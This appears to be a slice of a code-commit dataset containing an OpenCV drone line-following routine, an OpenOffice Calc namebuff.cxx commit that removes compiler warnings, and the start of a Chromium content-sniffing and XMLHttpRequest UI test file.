lines\\n\", (int) lines.size());\n\n vector<Vec2f> condensed = condense_lines(lines);\n draw_lines(original_frame, condensed);\n\n\n}\n\nvector<Vec2f> condense_lines(vector<Vec2f> lines) {\n vector<Vec2f> condensed;\n vector<Vec2f> tmp_list;\n for (int i = 0; i < lines.size(); i++) {\n if (lines[i][1] > CV_PI \/ 2) {\n lines[i][1] -= CV_PI;\n lines[i][0] *= -1;\n }\n else if (lines[i][1] < ((CV_PI \/ 2) * -1)) {\n lines[i][1] += CV_PI;\n lines[i][0] *= -1;\n }\n\n \/\/put in order of theta, rho\n swap(lines[i][0], lines[i][1]);\n }\n\n \/\/Order from least to greatest theta\n sort(lines.begin(), lines.end(),\n [](const Vec2f &a, const Vec2f &b) {\n return a[0] < b[0];\n });\n\n while (!lines.empty()) {\n Vec2f to_manipulate = lines.front();\n lines.erase(lines.begin());\n\n if (tmp_list.empty()) {\n tmp_list.push_back(to_manipulate);\n continue;\n } else {\n if (abs(to_manipulate[0] - tmp_list.front()[0]) < 20 * (CV_PI \/ 180.0)) {\n \/\/The angles are similar\n if (abs(to_manipulate[1] - tmp_list.front()[1]) < 50) {\n \/\/the distances are similar\n tmp_list.push_back(to_manipulate);\n continue;\n }\n } else {\n \/\/Need to clear out the tmp_list\n compress_lines(condensed, tmp_list);\n\n tmp_list.clear();\n tmp_list.push_back(to_manipulate);\n\n }\n }\n }\n if (!tmp_list.empty()) {\n compress_lines(condensed, tmp_list);\n }\n return condensed;\n}\n\nvoid draw_lines(Mat &image, const vector<Vec2f> &lines) {\n for (size_t i = 0; i < lines.size(); i++) {\n float theta = lines[i][0], rho = lines[i][1];\n \/\/ float rho = lines[i][0], theta = lines[i][1];\n Point pt1, pt2;\n double a = cos(theta), b = sin(theta);\n double x0 = a * rho, y0 = b * rho;\n pt1.x = cvRound(x0 + 1000 * (-b));\n pt1.y = cvRound(y0 + 1000 * (a));\n pt2.x = cvRound(x0 - 1000 * (-b));\n pt2.y = cvRound(y0 - 1000 * (a));\n line(image, pt1, pt2, Scalar(0, 0, 255), 3, CV_AA);\n }\n}\n\nvoid compress_lines(vector<Vec2f> &condensed, const vector<Vec2f> &tmp_list) {\n Vec2f new_point;\n float angle_sum = 0;\n float rho_sum = 0;\n for (int j = 0; j < tmp_list.size(); ++j) {\n angle_sum += tmp_list[j][0];\n rho_sum += tmp_list[j][1];\n }\n angle_sum \/= tmp_list.size();\n rho_sum \/= tmp_list.size();\n\n new_point[0] = angle_sum;\n new_point[1] = rho_sum;\n\n condensed.push_back(new_point);\n}\n\nLineFollowing::LineFollowing(Control *control) {\n namedWindow(\"line_window\", CV_WINDOW_NORMAL);\n control_ptr = control;\n minH = 50;\n minS = 20;\n minV = 150;\n maxH = 125;\n maxS = 100;\n maxV = 255;\n return;\n}\n\nvoid LineFollowing::close() {\n return;\n}\n\nvoid LineFollowing::fly() {\n\n control_ptr->velocities.vx = 0;\n control_ptr->velocities.vy = 0;\n control_ptr->velocities.vz = 0;\n control_ptr->velocities.vr = 0;\n\n detect_lines(control_ptr->image, 1);\n\n return;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: namebuff.cxx,v $\n *\n * $Revision: 1.23 $\n *\n * last change: $Author: kz $ $Date: 2006-07-21 11:50:23 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sc.hxx\"\n\n#include \"namebuff.hxx\"\n\n#include <tools\/urlobj.hxx>\n#include <string.h>\n\n#include \"rangenam.hxx\"\n#include \"document.hxx\"\n#include \"compiler.hxx\"\n#include \"scextopt.hxx\"\n\n#include \"root.hxx\"\n#include \"tokstack.hxx\"\n\n#ifndef SC_XLTOOLS_HXX\n#include \"xltools.hxx\"\n#endif\n#ifndef SC_XIROOT_HXX\n#include \"xiroot.hxx\"\n#endif\n\n\nUINT32 StringHashEntry::MakeHashCode( const String& r )\n{\n register UINT32 n = 0;\n const sal_Unicode* pAkt = r.GetBuffer();\n register sal_Unicode cAkt = *pAkt;\n\n while( cAkt )\n {\n n *= 70;\n n += ( UINT32 ) cAkt;\n pAkt++;\n cAkt = *pAkt;\n }\n\n return n;\n}\n\n\n\n\nNameBuffer::~NameBuffer()\n{\n register StringHashEntry* pDel = ( StringHashEntry* ) List::First();\n while( pDel )\n {\n delete pDel;\n pDel = ( StringHashEntry* ) List::Next();\n }\n}\n\n\n\/\/void NameBuffer::operator <<( const SpString &rNewString )\nvoid NameBuffer::operator <<( const String &rNewString )\n{\n DBG_ASSERT( Count() + nBase < 0xFFFF,\n \"*NameBuffer::GetLastIndex(): Ich hab' die Nase voll!\" );\n\n List::Insert( new StringHashEntry( rNewString ), LIST_APPEND );\n}\n\n\nvoid NameBuffer::Reset()\n{\n register StringHashEntry* pDel = ( StringHashEntry* ) List::First();\n while( pDel )\n {\n delete pDel;\n pDel = ( StringHashEntry* ) List::Next();\n }\n Clear();\n}\n\n\nBOOL NameBuffer::Find( const sal_Char* pRefName, UINT16& rIndex )\n{\n StringHashEntry aRefEntry( String::CreateFromAscii( pRefName ) );\n\n register StringHashEntry* pFind = ( StringHashEntry* ) List::First();\n register UINT16 nCnt = nBase;\n while( pFind )\n {\n if( *pFind == aRefEntry )\n {\n rIndex = nCnt;\n return TRUE;\n }\n pFind = ( StringHashEntry* ) List::Next();\n nCnt++;\n }\n\n return FALSE;\n}\n\n\n\n\n#ifdef DBG_UTIL\nUINT16 nShrCnt;\n#endif\n\n\nsize_t\nShrfmlaBuffer::ScAddressHashFunc::operator() (const ScAddress &addr) const\n{\n \/\/ Use something simple, it is just a hash.\n return (static_cast <UINT16> (addr.Row()) << 0) |\n (static_cast <UINT8> (addr.Col()) << 16) |\n (static_cast <UINT8> (addr.Tab()) << 24);\n}\n\nstatic const UINT16 nBase = 16384; \/\/ Range~ und Shared~ Dingens mit jeweils der Haelfte Ids\nShrfmlaBuffer::ShrfmlaBuffer( RootData* pRD ) :\n ExcRoot( pRD ),\n cur_index (nBase)\n{\n#ifdef DBG_UTIL\n nShrCnt = 0;\n#endif\n}\n\nShrfmlaBuffer::~ShrfmlaBuffer()\n{\n}\n\nvoid ShrfmlaBuffer::Store( const ScRange& rRange, const ScTokenArray& rToken )\n{\n String aName( CreateName( rRange.aStart ) );\n\n DBG_ASSERT( cur_index <= 0xFFFF, \"*ShrfmlaBuffer::Store(): Gleich wird mir schlecht...!\" );\n\n ScRangeData* pData = new ScRangeData( pExcRoot->pIR->GetDocPtr(), aName, rToken, rRange.aStart, RT_SHARED );\n pData->SetIndex (cur_index);\n pExcRoot->pIR->GetNamedRanges().Insert( pData );\n index_hash[rRange.aStart] = cur_index;\n index_list.push_front (rRange);\n cur_index++;\n}\n\n\nUINT16 ShrfmlaBuffer::Find( const ScAddress & aAddr ) const\n{\n ShrfmlaHash::const_iterator hash = index_hash.find (aAddr);\n if (hash != index_hash.end())\n return hash->second;\n\n \/\/ It was not hashed on the top left corner ? do a brute force search\n unsigned int ind = nBase;\n for (ShrfmlaList::const_iterator ptr = index_list.end(); ptr != index_list.begin() ; ind++)\n if ((--ptr)->In (aAddr))\n return ind;\n return cur_index;\n}\n\n\n#define SHRFMLA_BASENAME \"SHARED_FORMULA_\"\n\nString ShrfmlaBuffer::CreateName( const ScRange& r )\n{\n String aName( RTL_CONSTASCII_USTRINGPARAM( SHRFMLA_BASENAME ) );\n aName += String::CreateFromInt32( r.aStart.Col() );\n aName.Append( '_' );\n aName += String::CreateFromInt32( r.aStart.Row() );\n aName.Append( '_' );\n aName += String::CreateFromInt32( r.aEnd.Col() );\n aName.Append( '_' );\n aName += String::CreateFromInt32( r.aEnd.Row() );\n aName.Append( '_' );\n aName += String::CreateFromInt32( r.aStart.Tab() );\n\n return aName;\n}\n\n\nExtSheetBuffer::~ExtSheetBuffer()\n{\n Cont *pAkt = ( Cont * ) List::First();\n while( pAkt )\n {\n delete pAkt;\n pAkt = ( Cont * ) List::Next();\n }\n}\n\n\nvoid ExtSheetBuffer::Add( const String& rFPAN, const String& rTN, const BOOL bSWB )\n{\n List::Insert( new Cont( rFPAN, rTN, bSWB ), LIST_APPEND );\n}\n\n\nBOOL ExtSheetBuffer::GetScTabIndex( UINT16 nExcIndex, UINT16& rScIndex )\n{\n DBG_ASSERT( nExcIndex,\n \"*ExtSheetBuffer::GetScTabIndex(): Sheet-Index == 0!\" );\n\n nExcIndex--;\n Cont* pCur = ( Cont * ) List::GetObject( nExcIndex );\n UINT16& rTabNum = pCur->nTabNum;\n\n if( pCur )\n {\n if( rTabNum < 0xFFFD )\n {\n rScIndex = rTabNum;\n return TRUE;\n }\n\n if( rTabNum == 0xFFFF )\n {\/\/ neue Tabelle erzeugen\n SCTAB nNewTabNum;\n if( pCur->bSWB )\n {\/\/ Tabelle ist im selben Workbook!\n if( pExcRoot->pIR->GetDoc().GetTable( pCur->aTab, nNewTabNum ) )\n {\n rScIndex = rTabNum = static_cast<UINT16>(nNewTabNum);\n return TRUE;\n }\n else\n rTabNum = 0xFFFD;\n }\n else if( pExcRoot->pIR->GetDocShell() )\n {\/\/ Tabelle ist 'echt' extern\n if( pExcRoot->pIR->GetExtDocOptions().GetDocSettings().mnLinkCnt == 0 )\n {\n String aURL( ScGlobal::GetAbsDocName( pCur->aFile,\n pExcRoot->pIR->GetDocShell() ) );\n String aTabName( ScGlobal::GetDocTabName( aURL, pCur->aTab ) );\n if( pExcRoot->pIR->GetDoc().LinkExternalTab( nNewTabNum, aTabName, aURL, pCur->aTab ) )\n {\n rScIndex = rTabNum = static_cast<UINT16>(nNewTabNum);\n return TRUE;\n }\n else\n rTabNum = 0xFFFE; \/\/ Tabelle einmal nicht angelegt -> wird\n \/\/ wohl auch nicht mehr gehen...\n }\n else\n rTabNum = 0xFFFE;\n\n }\n }\n }\n\n return FALSE;\n}\n\n\nBOOL ExtSheetBuffer::IsLink( const UINT16 nExcIndex ) const\n{\n DBG_ASSERT( nExcIndex > 0, \"*ExtSheetBuffer::IsLink(): Index muss >0 sein!\" );\n Cont* pRet = ( Cont * ) List::GetObject( nExcIndex - 1 );\n\n if( pRet )\n return pRet->bLink;\n else\n return FALSE;\n}\n\n\nBOOL ExtSheetBuffer::GetLink( const UINT16 nExcIndex, String& rAppl, String& rDoc ) const\n{\n DBG_ASSERT( nExcIndex > 0, \"*ExtSheetBuffer::GetLink(): Index muss >0 sein!\" );\n Cont* pRet = ( Cont * ) List::GetObject( nExcIndex - 1 );\n\n if( pRet )\n {\n rAppl = pRet->aFile;\n rDoc = pRet->aTab;\n return TRUE;\n }\n else\n return FALSE;\n}\n\n\nBOOL ExtSheetBuffer::IsExternal( UINT16 nExcIndex ) const\n{\n DBG_ASSERT( nExcIndex > 0, \"*ExtSheetBuffer::IsExternal(): Index muss >0 sein!\" );\n Cont* pRet = ( Cont * ) List::GetObject( nExcIndex - 1 );\n\n if( pRet )\n return !pRet->bSWB;\n else\n return FALSE;\n}\n\n\nvoid ExtSheetBuffer::Reset( void )\n{\n Cont *pAkt = ( Cont * ) List::First();\n while( pAkt )\n {\n delete pAkt;\n pAkt = ( Cont * ) List::Next();\n }\n\n List::Clear();\n}\n\n\n\n\nBOOL ExtName::IsDDE( void ) const\n{\n return ( nFlags & 0x0001 ) != 0;\n}\n\n\nBOOL ExtName::IsOLE( void ) const\n{\n return ( nFlags & 0x0002 ) != 0;\n}\n\n\nBOOL ExtName::IsName( void ) const\n{\n return ( nFlags & 0x0004 ) != 0;\n}\n\n\n\n\nconst sal_Char* ExtNameBuff::pJoostTest = \"Joost ist immer noch doof!\";\n\n\nExtNameBuff::~ExtNameBuff()\n{\n ExtName* pDel = ( ExtName* ) List::First();\n while( pDel )\n {\n delete pDel;\n pDel = ( ExtName* ) List::Next();\n }\n}\n\n\nvoid ExtNameBuff::AddDDE( const String& rName )\n{\n ExtName* pNew = new ExtName( rName );\n pNew->nFlags = 0x0001;\n\n List::Insert( pNew, LIST_APPEND );\n}\n\n\nvoid ExtNameBuff::AddOLE( const String& rName, UINT32 nStorageId )\n{\n ExtName* pNew = new ExtName( rName );\n pNew->nFlags = 0x0002;\n pNew->nStorageId = nStorageId;\n\n List::Insert( pNew, LIST_APPEND );\n}\n\n\nvoid ExtNameBuff::AddName( const String& rName )\n{\n ExtName* pNew = new ExtName( pExcRoot->pIR->GetScAddInName( rName ) );\n pNew->nFlags = 0x0004;\n\n List::Insert( pNew, LIST_APPEND );\n}\n\n\nconst ExtName* ExtNameBuff::GetName( const UINT16 nExcelIndex ) const\n{\n DBG_ASSERT( nExcelIndex > 0, \"*ExtNameBuff::GetName(): Index kann nur >0 sein!\" );\n\n return ( const ExtName* ) List::GetObject( nExcelIndex - 1 );\n}\n\n\nvoid ExtNameBuff::Reset( void )\n{\n ExtName* pDel = ( ExtName* ) List::First();\n while( pDel )\n {\n delete pDel;\n pDel = ( ExtName* ) List::Next();\n }\n\n sal_Char cTmp = *pJoostTest;\n cTmp++;\n\n List::Clear();\n}\n\n\n<commit_msg>INTEGRATION: CWS calcwarnings (1.23.110); FILE MERGED 2006\/12\/01 14:42:24 dr 1.23.110.1: #i69284# remove compiler warnings for wntmsci10<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: namebuff.cxx,v $\n *\n * $Revision: 1.24 $\n *\n * last change: $Author: vg $ $Date: 2007-02-27 12:23:43 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sc.hxx\"\n\n#include \"namebuff.hxx\"\n\n#include <tools\/urlobj.hxx>\n#include <string.h>\n\n#include \"rangenam.hxx\"\n#include \"document.hxx\"\n#include \"compiler.hxx\"\n#include \"scextopt.hxx\"\n\n#include \"root.hxx\"\n#include \"tokstack.hxx\"\n\n#ifndef SC_XLTOOLS_HXX\n#include \"xltools.hxx\"\n#endif\n#ifndef SC_XIROOT_HXX\n#include \"xiroot.hxx\"\n#endif\n\n\nUINT32 StringHashEntry::MakeHashCode( const String& r )\n{\n register UINT32 n = 0;\n const sal_Unicode* pAkt = r.GetBuffer();\n register sal_Unicode cAkt = *pAkt;\n\n while( cAkt )\n {\n n *= 70;\n n += ( UINT32 ) cAkt;\n pAkt++;\n cAkt = *pAkt;\n }\n\n return n;\n}\n\n\n\n\nNameBuffer::~NameBuffer()\n{\n register StringHashEntry* pDel = ( StringHashEntry* ) List::First();\n while( pDel )\n {\n delete pDel;\n pDel = ( StringHashEntry* ) List::Next();\n }\n}\n\n\n\/\/void NameBuffer::operator <<( const SpString &rNewString )\nvoid NameBuffer::operator <<( const String &rNewString )\n{\n DBG_ASSERT( Count() + nBase < 0xFFFF,\n \"*NameBuffer::GetLastIndex(): Ich hab' die Nase voll!\" );\n\n List::Insert( new StringHashEntry( rNewString ), LIST_APPEND );\n}\n\n\nvoid NameBuffer::Reset()\n{\n register StringHashEntry* pDel = ( StringHashEntry* ) List::First();\n while( pDel )\n {\n delete pDel;\n pDel = ( StringHashEntry* ) List::Next();\n }\n Clear();\n}\n\n\nBOOL NameBuffer::Find( const sal_Char* pRefName, UINT16& rIndex )\n{\n StringHashEntry aRefEntry( String::CreateFromAscii( pRefName ) );\n\n register StringHashEntry* pFind = ( StringHashEntry* ) List::First();\n register UINT16 nCnt = nBase;\n while( pFind )\n {\n if( *pFind == aRefEntry )\n {\n rIndex = nCnt;\n return TRUE;\n }\n pFind = ( StringHashEntry* ) List::Next();\n nCnt++;\n }\n\n return FALSE;\n}\n\n\n\n\n#ifdef DBG_UTIL\nUINT16 nShrCnt;\n#endif\n\n\nsize_t ShrfmlaBuffer::ScAddressHashFunc::operator() (const ScAddress &addr) const\n{\n \/\/ Use something simple, it is just a hash.\n return (static_cast <UINT16> (addr.Row()) << 0) |\n (static_cast <UINT8> (addr.Col()) << 16) |\n (static_cast <UINT8> (addr.Tab()) << 24);\n}\n\nconst size_t nBase = 16384; \/\/ Range~ und Shared~ Dingens mit jeweils der Haelfte Ids\nShrfmlaBuffer::ShrfmlaBuffer( RootData* pRD ) :\n ExcRoot( pRD ),\n mnCurrIdx (nBase)\n{\n#ifdef DBG_UTIL\n nShrCnt = 0;\n#endif\n}\n\nShrfmlaBuffer::~ShrfmlaBuffer()\n{\n}\n\nvoid ShrfmlaBuffer::Store( const ScRange& rRange, const ScTokenArray& rToken )\n{\n String aName( CreateName( rRange.aStart ) );\n\n DBG_ASSERT( mnCurrIdx <= 0xFFFF, \"*ShrfmlaBuffer::Store(): Gleich wird mir schlecht...!\" );\n\n ScRangeData* pData = new ScRangeData( pExcRoot->pIR->GetDocPtr(), aName, rToken, rRange.aStart, RT_SHARED );\n pData->SetIndex( static_cast< USHORT >( mnCurrIdx ) );\n pExcRoot->pIR->GetNamedRanges().Insert( pData );\n index_hash[rRange.aStart] = static_cast< USHORT >( mnCurrIdx );\n index_list.push_front (rRange);\n ++mnCurrIdx;\n}\n\n\nUSHORT ShrfmlaBuffer::Find( const ScAddress & aAddr ) const\n{\n ShrfmlaHash::const_iterator hash = index_hash.find (aAddr);\n if (hash != index_hash.end())\n return hash->second;\n\n \/\/ It was not hashed on the top left corner ? do a brute force search\n unsigned int ind = nBase;\n for (ShrfmlaList::const_iterator ptr = index_list.end(); ptr != index_list.begin() ; ind++)\n if ((--ptr)->In (aAddr))\n return static_cast< USHORT >( ind );\n return static_cast< USHORT >( mnCurrIdx );\n}\n\n\n#define SHRFMLA_BASENAME \"SHARED_FORMULA_\"\n\nString ShrfmlaBuffer::CreateName( const ScRange& r )\n{\n String aName( RTL_CONSTASCII_USTRINGPARAM( SHRFMLA_BASENAME ) );\n aName += String::CreateFromInt32( r.aStart.Col() );\n aName.Append( '_' );\n aName += String::CreateFromInt32( r.aStart.Row() );\n aName.Append( '_' );\n aName += String::CreateFromInt32( r.aEnd.Col() );\n aName.Append( '_' );\n aName += String::CreateFromInt32( r.aEnd.Row() );\n aName.Append( '_' );\n aName += String::CreateFromInt32( r.aStart.Tab() );\n\n return aName;\n}\n\n\nExtSheetBuffer::~ExtSheetBuffer()\n{\n Cont *pAkt = ( Cont * ) List::First();\n while( pAkt )\n {\n delete pAkt;\n pAkt = ( Cont * ) List::Next();\n }\n}\n\n\nvoid ExtSheetBuffer::Add( const String& rFPAN, const String& rTN, const BOOL bSWB )\n{\n List::Insert( new Cont( rFPAN, rTN, bSWB ), LIST_APPEND );\n}\n\n\nBOOL ExtSheetBuffer::GetScTabIndex( UINT16 nExcIndex, UINT16& rScIndex )\n{\n DBG_ASSERT( nExcIndex,\n \"*ExtSheetBuffer::GetScTabIndex(): Sheet-Index == 0!\" );\n\n nExcIndex--;\n Cont* pCur = ( Cont * ) List::GetObject( nExcIndex );\n UINT16& rTabNum = pCur->nTabNum;\n\n if( pCur )\n {\n if( rTabNum < 0xFFFD )\n {\n rScIndex = rTabNum;\n return TRUE;\n }\n\n if( rTabNum == 0xFFFF )\n {\/\/ neue Tabelle erzeugen\n SCTAB nNewTabNum;\n if( pCur->bSWB )\n {\/\/ Tabelle ist im selben Workbook!\n if( pExcRoot->pIR->GetDoc().GetTable( pCur->aTab, nNewTabNum ) )\n {\n rScIndex = rTabNum = static_cast<UINT16>(nNewTabNum);\n return TRUE;\n }\n else\n rTabNum = 0xFFFD;\n }\n else if( pExcRoot->pIR->GetDocShell() )\n {\/\/ Tabelle ist 'echt' extern\n if( pExcRoot->pIR->GetExtDocOptions().GetDocSettings().mnLinkCnt == 0 )\n {\n String aURL( ScGlobal::GetAbsDocName( pCur->aFile,\n pExcRoot->pIR->GetDocShell() ) );\n String aTabName( ScGlobal::GetDocTabName( aURL, pCur->aTab ) );\n if( pExcRoot->pIR->GetDoc().LinkExternalTab( nNewTabNum, aTabName, aURL, pCur->aTab ) )\n {\n rScIndex = rTabNum = static_cast<UINT16>(nNewTabNum);\n return TRUE;\n }\n else\n rTabNum = 0xFFFE; \/\/ Tabelle einmal nicht angelegt -> wird\n \/\/ wohl auch nicht mehr gehen...\n }\n else\n rTabNum = 0xFFFE;\n\n }\n }\n }\n\n return FALSE;\n}\n\n\nBOOL ExtSheetBuffer::IsLink( const UINT16 nExcIndex ) const\n{\n DBG_ASSERT( nExcIndex > 0, \"*ExtSheetBuffer::IsLink(): Index muss >0 sein!\" );\n Cont* pRet = ( Cont * ) List::GetObject( nExcIndex - 1 );\n\n if( pRet )\n return pRet->bLink;\n else\n return FALSE;\n}\n\n\nBOOL ExtSheetBuffer::GetLink( const UINT16 nExcIndex, String& rAppl, String& rDoc ) const\n{\n DBG_ASSERT( nExcIndex > 0, \"*ExtSheetBuffer::GetLink(): Index muss >0 sein!\" );\n Cont* pRet = ( Cont * ) List::GetObject( nExcIndex - 1 );\n\n if( pRet )\n {\n rAppl = pRet->aFile;\n rDoc = pRet->aTab;\n return TRUE;\n }\n else\n return FALSE;\n}\n\n\nBOOL ExtSheetBuffer::IsExternal( UINT16 nExcIndex ) const\n{\n DBG_ASSERT( nExcIndex > 0, \"*ExtSheetBuffer::IsExternal(): Index muss >0 sein!\" );\n Cont* pRet = ( Cont * ) List::GetObject( nExcIndex - 1 );\n\n if( pRet )\n return !pRet->bSWB;\n else\n return FALSE;\n}\n\n\nvoid ExtSheetBuffer::Reset( void )\n{\n Cont *pAkt = ( Cont * ) List::First();\n while( pAkt )\n {\n delete pAkt;\n pAkt = ( Cont * ) List::Next();\n }\n\n List::Clear();\n}\n\n\n\n\nBOOL ExtName::IsDDE( void ) const\n{\n return ( nFlags & 0x0001 ) != 0;\n}\n\n\nBOOL ExtName::IsOLE( void ) const\n{\n return ( nFlags & 0x0002 ) != 0;\n}\n\n\nBOOL ExtName::IsName( void ) const\n{\n return ( nFlags & 0x0004 ) != 0;\n}\n\n\n\n\nconst sal_Char* ExtNameBuff::pJoostTest = \"Joost ist immer noch doof!\";\n\n\nExtNameBuff::~ExtNameBuff()\n{\n ExtName* pDel = ( ExtName* ) List::First();\n while( pDel )\n {\n delete pDel;\n pDel = ( ExtName* ) List::Next();\n }\n}\n\n\nvoid ExtNameBuff::AddDDE( const String& rName )\n{\n ExtName* pNew = new ExtName( rName );\n pNew->nFlags = 0x0001;\n\n List::Insert( pNew, LIST_APPEND );\n}\n\n\nvoid ExtNameBuff::AddOLE( const String& rName, UINT32 nStorageId )\n{\n ExtName* pNew = new ExtName( rName );\n pNew->nFlags = 0x0002;\n pNew->nStorageId = nStorageId;\n\n List::Insert( pNew, LIST_APPEND );\n}\n\n\nvoid ExtNameBuff::AddName( const String& rName )\n{\n ExtName* pNew = new ExtName( pExcRoot->pIR->GetScAddInName( rName ) );\n pNew->nFlags = 0x0004;\n\n List::Insert( pNew, LIST_APPEND );\n}\n\n\nconst ExtName* ExtNameBuff::GetName( const UINT16 nExcelIndex ) const\n{\n DBG_ASSERT( nExcelIndex > 0, \"*ExtNameBuff::GetName(): Index kann nur >0 sein!\" );\n\n return ( const ExtName* ) List::GetObject( nExcelIndex - 1 );\n}\n\n\nvoid ExtNameBuff::Reset( void )\n{\n ExtName* pDel = ( ExtName* ) List::First();\n while( pDel )\n {\n delete pDel;\n pDel = ( ExtName* ) List::Next();\n }\n\n sal_Char cTmp = *pJoostTest;\n cTmp++;\n\n List::Clear();\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <sstream>\n#include <string>\n\n#include \"base\/command_line.h\"\n#include \"base\/file_path.h\"\n#include \"base\/path_service.h\"\n#include \"base\/string_util.h\"\n#include \"chrome\/browser\/automation\/url_request_failed_dns_job.h\"\n#include \"chrome\/browser\/automation\/url_request_mock_http_job.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/automation\/browser_proxy.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n#include \"net\/base\/net_util.h\"\n#include \"net\/url_request\/url_request_unittest.h\"\n\nnamespace {\n\nclass ResourceDispatcherTest : public UITest {\n public:\n void CheckTitleTest(const std::wstring& file,\n const std::wstring& expected_title) {\n NavigateToURL(URLRequestMockHTTPJob::GetMockUrl(file));\n const int kCheckDelayMs = 100;\n int max_wait_time = 5000;\n while (max_wait_time > 0) {\n max_wait_time -= kCheckDelayMs;\n PlatformThread::Sleep(kCheckDelayMs);\n if (expected_title == GetActiveTabTitle())\n break;\n }\n\n EXPECT_EQ(expected_title, GetActiveTabTitle());\n }\n\n protected:\n ResourceDispatcherTest() : UITest() {\n dom_automation_enabled_ = true;\n }\n};\n\nTEST_F(ResourceDispatcherTest, SniffHTMLWithNoContentType) {\n CheckTitleTest(L\"content-sniffer-test0.html\",\n L\"Content Sniffer Test 0\");\n}\n\nTEST_F(ResourceDispatcherTest, RespectNoSniffDirective) {\n CheckTitleTest(L\"nosniff-test.html\", L\"\");\n}\n\nTEST_F(ResourceDispatcherTest, DoNotSniffHTMLFromTextPlain) {\n CheckTitleTest(L\"content-sniffer-test1.html\", L\"\");\n}\n\nTEST_F(ResourceDispatcherTest, DoNotSniffHTMLFromImageGIF) {\n CheckTitleTest(L\"content-sniffer-test2.html\", L\"\");\n}\n\nTEST_F(ResourceDispatcherTest, SniffNoContentTypeNoData) {\n CheckTitleTest(L\"content-sniffer-test3.html\",\n L\"Content Sniffer Test 3\");\n PlatformThread::Sleep(sleep_timeout_ms() * 2);\n EXPECT_EQ(1, GetTabCount());\n\n \/\/ Make sure the download shelf is not showing.\n scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n bool visible = false;\n ASSERT_TRUE(browser->IsShelfVisible(&visible));\n EXPECT_FALSE(visible);\n}\n\nTEST_F(ResourceDispatcherTest, ContentDispositionEmpty) {\n CheckTitleTest(L\"content-disposition-empty.html\", L\"success\");\n}\n\nTEST_F(ResourceDispatcherTest, ContentDispositionInline) {\n CheckTitleTest(L\"content-disposition-inline.html\", L\"success\");\n}\n\n\/\/ Test for bug #1091358.\nTEST_F(ResourceDispatcherTest, SyncXMLHttpRequest) {\n const wchar_t kDocRoot[] = L\"chrome\/test\/data\";\n scoped_refptr<HTTPTestServer> server =\n HTTPTestServer::CreateServer(kDocRoot, NULL);\n ASSERT_TRUE(NULL != server.get());\n\n scoped_refptr<BrowserProxy> browser_proxy(automation()->GetBrowserWindow(0));\n EXPECT_TRUE(browser_proxy.get());\n scoped_refptr<TabProxy> tab(browser_proxy->GetActiveTab());\n tab->NavigateToURL(server->TestServerPageW(\n L\"files\/sync_xmlhttprequest.html\"));\n\n \/\/ Let's check the XMLHttpRequest ran successfully.\n bool success = false;\n EXPECT_TRUE(tab->ExecuteAndExtractBool(L\"\",\n L\"window.domAutomationController.send(DidSyncRequestSucceed());\",\n &success));\n EXPECT_TRUE(success);\n}\n\nTEST_F(ResourceDispatcherTest, SyncXMLHttpRequest_Disallowed) {\n const wchar_t kDocRoot[] = L\"chrome\/test\/data\";\n scoped_refptr<HTTPTestServer> server =\n HTTPTestServer::CreateServer(kDocRoot, NULL);\n ASSERT_TRUE(NULL != server.get());\n\n scoped_refptr<BrowserProxy> browser_proxy(automation()->GetBrowserWindow(0));\n EXPECT_TRUE(browser_proxy.get());\n scoped_refptr<TabProxy> tab(browser_proxy->GetActiveTab());\n tab->NavigateToURL(server->TestServerPageW(\n L\"files\/sync_xmlhttprequest_disallowed.html\"));\n\n \/\/ Let's check the XMLHttpRequest ran successfully.\n bool success = false;\n EXPECT_TRUE(tab->ExecuteAndExtractBool(L\"\",\n L\"window.domAutomationController.send(DidSucceed());\",\n &success));\n EXPECT_TRUE(success);\n}\n\n\/\/ Test for bug #1159553 -- A synchronous xhr (whose content-type is\n\/\/ downloadable) would trigger download and hang the renderer process,\n\/\/ if executed while navigating to a new page.\nTEST_F(ResourceDispatcherTest, SyncXMLHttpRequest_DuringUnload) {\n const wchar_t kDocRoot[] = L\"chrome\/test\/data\";\n scoped_refptr<HTTPTestServer> server =\n HTTPTestServer::CreateServer(kDocRoot, NULL);\n ASSERT_TRUE(NULL != 